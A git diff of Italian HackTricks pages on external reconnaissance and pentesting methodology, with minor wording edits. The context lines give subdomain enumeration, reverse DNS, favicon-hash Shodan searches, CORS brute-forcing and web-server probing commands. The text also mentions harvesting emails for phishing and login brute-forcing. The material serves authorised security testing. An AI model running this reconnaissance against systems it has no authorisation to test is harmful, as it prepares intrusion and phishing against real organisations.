Innanzitutto dovresti cercare il/i **dominio principale** di ciascuna azienda. Ad esempio, per _Tesla Inc._ sarà _tesla.com_.
|
||||
|
||||
### **DNS inverso**
|
||||
|
||||
|
@ -96,7 +96,7 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
|||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Per far funzionare questo, l'amministratore deve abilitare manualmente il PTR.\
|
||||
Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
Puoi anche utilizzare un tool online per queste informazioni: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
|
@ -112,7 +112,7 @@ Puoi utilizzare strumenti online come:
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - A pagamento
|
||||
|
||||
Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink)(richiede una chiave API whoxy).\
|
||||
Puoi anche eseguire una scoperta automatica del reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Puoi anche eseguire una scoperta automatica reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.**
|
||||
|
||||
|
@ -121,7 +121,7 @@ Puoi anche eseguire una scoperta automatica del reverse whois con [amass](https:
|
|||
Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse, puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
|
||||
Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine.
|
||||
|
||||
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro ancora:
|
||||
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altri:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -136,11 +136,11 @@ Sapevi che possiamo trovare domini e sottodomini correlati al nostro obiettivo c
|
|||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
![favihash - scoprire i domini con lo stesso hash dell'icona favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
![favihash - scoprire domini con lo stesso hash dell'icona favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
In poche parole, favihash ci permetterà di scoprire i domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||
In poche parole, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||
|
||||
Inoltre, è possibile cercare tecnologie utilizzando l'hash dell'icona favicon come spiegato in [**questo post sul blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se si conosce l'**hash dell'icona favicon di una versione vulnerabile di una tecnologia web**, è possibile cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
Inoltre, è possibile cercare tecnologie utilizzando l'hash del favicon come spiegato in [**questo post sul blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se si conosce l'**hash del favicon di una versione vulnerabile di una tecnologia web**, è possibile cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -175,9 +175,9 @@ Consulta questo [**articolo per ulteriori informazioni**](https://swarm.ptsecuri
|
|||
|
||||
### **Assunzione Passiva**
|
||||
|
||||
Apparentemente è comune che le persone assegnino sottodomini a IP che appartengono a fornitori di servizi cloud e a un certo punto **perdano quell'indirizzo IP ma dimentichino di rimuovere il record DNS**. Pertanto, semplicemente **avviando una VM** in un cloud (come Digital Ocean) in realtà **assumerai alcuni sottodomini**.
|
||||
Apparentemente è comune che le persone assegnino sottodomini a IP che appartengono a fornitori di servizi cloud e a un certo punto **perdano quel IP ma dimentichino di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) in realtà **assumerai alcuni sottodomini**.
|
||||
|
||||
[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia a riguardo e propone uno script che **avvia una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record dei sottodomini** che vi puntano.
|
||||
[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia a riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record dei sottodomini** che vi puntano.
|
||||
|
||||
### **Altri metodi**
|
||||
|
||||
|
@ -185,19 +185,19 @@ Apparentemente è comune che le persone assegnino sottodomini a IP che apparteng
|
|||
|
||||
**Shodan**
|
||||
|
||||
Poiché conosci già il nome dell'organizzazione proprietaria dello spazio IP, puoi cercare quei dati in Shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
Poiché conosci già il nome dell'organizzazione che possiede lo spazio IP, puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
|
||||
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e quindi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **Shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e quindi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** a un dominio principale e i **loro sottodomini**, davvero sorprendente.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** a un dominio principale e i relativi **sottodomini**, davvero sorprendente.
|
||||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Controlla per eventuali [acquisizioni di dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse un'azienda **sta utilizzando un dominio** ma ha **perso la proprietà**. Registratelo (se abbastanza economico) e informa l'azienda.
|
||||
|
||||
Se trovi un **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
Se trovi un **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
|
@ -330,7 +330,7 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) ha un'API gratuita per cercare sottodomini e la storia degli IP
|
||||
* [**securitytrails.com**](https://securitytrails.com/) offre una API gratuita per cercare sottodomini e la cronologia degli IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Questo progetto offre gratuitamente tutti i sottodomini relativi ai programmi di bug bounty. Puoi accedere a questi dati anche utilizzando [chaospy](https://github.com/dr-0x0x/chaospy) o accedere allo scope utilizzato da questo progetto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
@ -353,7 +353,7 @@ E anche gli IP dei buoni risolutori DNS. Per generare un elenco di risolutori DN
|
|||
|
||||
Gli strumenti più raccomandati per il brute-force DNS sono:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace brute-force DNS. È molto veloce ma è incline ai falsi positivi.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace brute-force DNS. È molto veloce, tuttavia è soggetto a falsi positivi.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -384,11 +384,11 @@ Dopo aver trovato sottodomini utilizzando fonti aperte e brute-forcing, potresti
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Date i domini e i sottodomini generano permutazioni.
|
||||
* È possibile ottenere la lista di permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* Puoi ottenere la lista di permutazioni di **wordlist** di goaltdns [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dato i domini e sottodomini, genera permutazioni. Se non viene indicato un file di permutazioni, gotator utilizzerà il proprio.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Date i domini e i sottodomini generano permutazioni. Se non viene indicato un file di permutazioni, gotator utilizzerà il proprio.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -398,7 +398,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
|||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Un altro strumento per eseguire permutazioni, mutazioni e alterazioni dei sottodomini. Questo strumento forzerà il risultato (non supporta il wild card dns).
|
||||
* È possibile ottenere la lista di parole per le permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
* Puoi ottenere la lista di parole per le permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
|
@ -453,7 +453,7 @@ VHostScan -t example.com
|
|||
Con questa tecnica potresti persino essere in grado di accedere a endpoint interni/nascosti.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
### **Forza Bruta CORS**
|
||||
|
||||
A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando un dominio/sottodominio valido è impostato nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **sottodomini**.
|
||||
```bash
|
||||
|
@ -461,8 +461,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Forza bruta sui Bucket**
|
||||
|
||||
Mentre cerchi **sottodomini**, controlla se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Inoltre, a questo punto saprai tutti i domini all'interno del perimetro, prova a [**forzare possibili nomi di bucket e controllare le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Mentre cerchi **sottodomini**, fai attenzione se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Inoltre, a questo punto, saprai tutti i domini all'interno del perimetro, prova a [**forzare possibili nomi di bucket e controllare le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitoraggio**
|
||||
|
||||
|
@ -473,19 +473,19 @@ Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monito
|
|||
Controlla possibili [**takeover di sottodomini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se il **sottodominio** punta a un **bucket S3**, [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel perimetro, fai attenzione._
|
||||
|
||||
## IP
|
||||
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni range di IP, domini e sottodomini**.\
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e sottodomini**.\
|
||||
È ora di **raccogliere tutti gli IP da quei range** e per i **domini/sottodomini (query DNS).**
|
||||
|
||||
Utilizzando servizi delle seguenti **API gratuite** puoi trovare anche **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero consentirti di trovare [**bypass di CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizzando lo strumento [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Puoi anche verificare i domini che puntano a un indirizzo IP specifico utilizzando lo strumento [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
|
@ -495,31 +495,31 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
|
|||
|
||||
## Caccia ai server web
|
||||
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo i range di IP, i domini e i sottodomini all'interno del perimetro. È ora di cercare i server web.
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, i domini e i sottodomini all'interno del perimetro. È ora di cercare i server web.
|
||||
|
||||
Nei passaggi precedenti probabilmente hai già eseguito un **riconoscimento degli IP e dei domini scoperti**, quindi potresti **già aver trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, vedremo ora alcuni **trucchi veloci per cercare server web** all'interno del perimetro.
|
||||
|
||||
Si noti che questo sarà **orientato alla scoperta delle app web**, quindi dovresti **eseguire la scansione di vulnerabilità** e **delle porte** anche (**se consentito** dal perimetro).
|
||||
|
||||
Un **metodo rapido** per scoprire le **porte aperte** relative ai **server web** utilizzando [**masscan può essere trovato qui**](../pentesting-network/#http-port-discovery).\
|
||||
Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e proverà a connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
|
||||
Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Screenshot**
|
||||
|
||||
Ora che hai scoperto **tutti i server web** presenti nel perimetro (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, semplifichiamoci e iniziamo semplicemente facendo degli screenshot di tutti loro. Già **dalla pagina principale** puoi trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
|
||||
Ora che hai scoperto **tutti i server web** presenti nel perimetro (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, semplifichiamoci e iniziamo semplicemente facendo degli screenshot di tutti loro. Già **dando un'occhiata** alla **pagina principale** puoi trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
|
||||
|
||||
Per eseguire l'idea proposta puoi utilizzare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Inoltre, potresti poi utilizzare [**eyeballer**](https://github.com/BishopFox/eyeballer) per esaminare tutti gli **screenshot** e dirti **cosa potrebbe contenere vulnerabilità**, e cosa no.
|
||||
Inoltre, potresti poi utilizzare [**eyeballer**](https://github.com/BishopFox/eyeballer) per esaminare tutti gli **screenshots** e dirti **cosa è probabile che contenga vulnerabilità**, e cosa no.
|
||||
|
||||
## Risorse Cloud Pubbliche
|
||||
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una società di criptovalute potresti utilizzare parole come: `"crypto", "wallet", "dao", "<nome_dominio>", <"nomi_sottodomini">`.
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto company potresti usare parole come: `"crypto", "wallet", "dao", "<nome_dominio>", <"nomi_sottodomini">`.
|
||||
|
||||
Avrai anche bisogno di liste di parole **comuni utilizzate nei bucket**:
|
||||
Avrai anche bisogno di liste di parole **comuni usate nei bucket**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
|
@ -546,7 +546,7 @@ Con i **domini** e i **sottodomini** all'interno del perimetro hai praticamente
|
|||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Le email saranno utili in seguito per **forzare l'accesso ai login web e ai servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, questi API ti forniranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||
Le email saranno utili in seguito per **forzare l'accesso ai log e ai servizi di autenticazione web** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti daranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||
|
||||
## Fughe di Credenziali
|
||||
|
||||
|
@ -557,11 +557,11 @@ Con i **domini**, i **sottodomini** e le **email** puoi iniziare a cercare crede
|
|||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Se trovi credenziali trapelate **valide**, è una vittoria molto facile.
|
||||
Se trovi **credenziali trapelate valide**, è una vittoria molto facile.
|
||||
|
||||
## Fughe di Segreti
|
||||
|
||||
Le fughe di credenziali sono correlate a violazioni di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database:
|
||||
Le fughe di credenziali sono correlate a hack di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database:
|
||||
|
||||
### Fughe su Github
|
||||
|
||||
|
@ -580,18 +580,18 @@ Controlla anche questa **pagina** per potenziali **dork su github** che potresti
|
|||
|
||||
### Fughe su Paste
|
||||
|
||||
A volte gli attaccanti o semplicemente i dipendenti **pubblicheranno contenuti aziendali su un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
||||
A volte gli attaccanti o semplicemente i lavoratori **pubblicheranno contenuti aziendali in un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\
|
||||
Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare contemporaneamente in più di 80 siti di paste.
|
||||
|
||||
### Dork di Google
|
||||
|
||||
I vecchi ma d'oro dork di Google sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di query possibili che non puoi eseguire manualmente. Quindi, puoi prendere i tuoi preferiti 10 o potresti utilizzare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirli tutti**.
|
||||
I vecchi ma d'oro dork di Google sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere i tuoi preferiti 10 o potresti utilizzare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirli tutti**.
|
||||
|
||||
_Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto molto presto._
|
||||
_Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto presto._
|
||||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
Se trovi **credenziali trapelate** valide o token API, è una vittoria molto facile.
|
||||
Se trovi **credenziali trapelate valide o token API**, è una vittoria molto facile.
|
||||
|
||||
## Vulnerabilità del Codice Pubblico
|
||||
|
||||
|
@ -643,7 +643,7 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -655,7 +655,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -8,13 +8,13 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
|
@ -30,7 +30,7 @@ _Loghi di Hacktricks progettati da_ [_@ppiernacho_](https://www.instagram.com/pp
|
|||
|
||||
Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni [**trucchi sugli attacchi fisici**](../physical-attacks/physical-attacks.md) e altri su [**fuga dalle applicazioni GUI**](../physical-attacks/escaping-from-gui-applications/).
|
||||
|
||||
### 1 - [Scoperta degli host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoperta degli Asset dell'azienda](external-recon-methodology/)
|
||||
### 1 - [Scoperta degli host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoperta degli asset dell'azienda](external-recon-methodology/)
|
||||
|
||||
**A seconda** se il **test** che stai eseguendo è un **test interno o esterno** potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare asset dell'azienda su Internet** (test esterno).
|
||||
|
||||
|
@ -38,14 +38,14 @@ Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni
|
|||
Nota che se stai eseguendo un test esterno, una volta che riesci ad ottenere l'accesso alla rete interna dell'azienda dovresti riavviare questa guida.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Divertirsi con la rete**](pentesting-network/) **(Interno)**
|
||||
### **2-** [**Divertiti con la rete**](pentesting-network/) **(Interno)**
|
||||
|
||||
**Questa sezione si applica solo se stai eseguendo un test interno.**\
|
||||
Prima di attaccare un host potresti preferire **rubare alcune credenziali** **dalla rete** o **sniffare** alcuni **dati** per apprendere **passivamente/attivamente(MitM)** cosa puoi trovare all'interno della rete. Puoi leggere [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Scansione Porte - Scoperta dei servizi](pentesting-network/#scanning-hosts)
|
||||
|
||||
La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione in quali porte. Vediamo i [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts).
|
||||
La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione in quali porte. Vediamo gli [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Ricerca di exploit delle versioni dei servizi](search-exploits.md)
|
||||
|
||||
|
@ -55,9 +55,9 @@ Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, de
|
|||
|
||||
Se non c'è alcun exploit interessante per un servizio in esecuzione, dovresti cercare **comuni configurazioni errate in ciascun servizio in esecuzione.**
|
||||
|
||||
**All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la** _**SEZIONE PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
||||
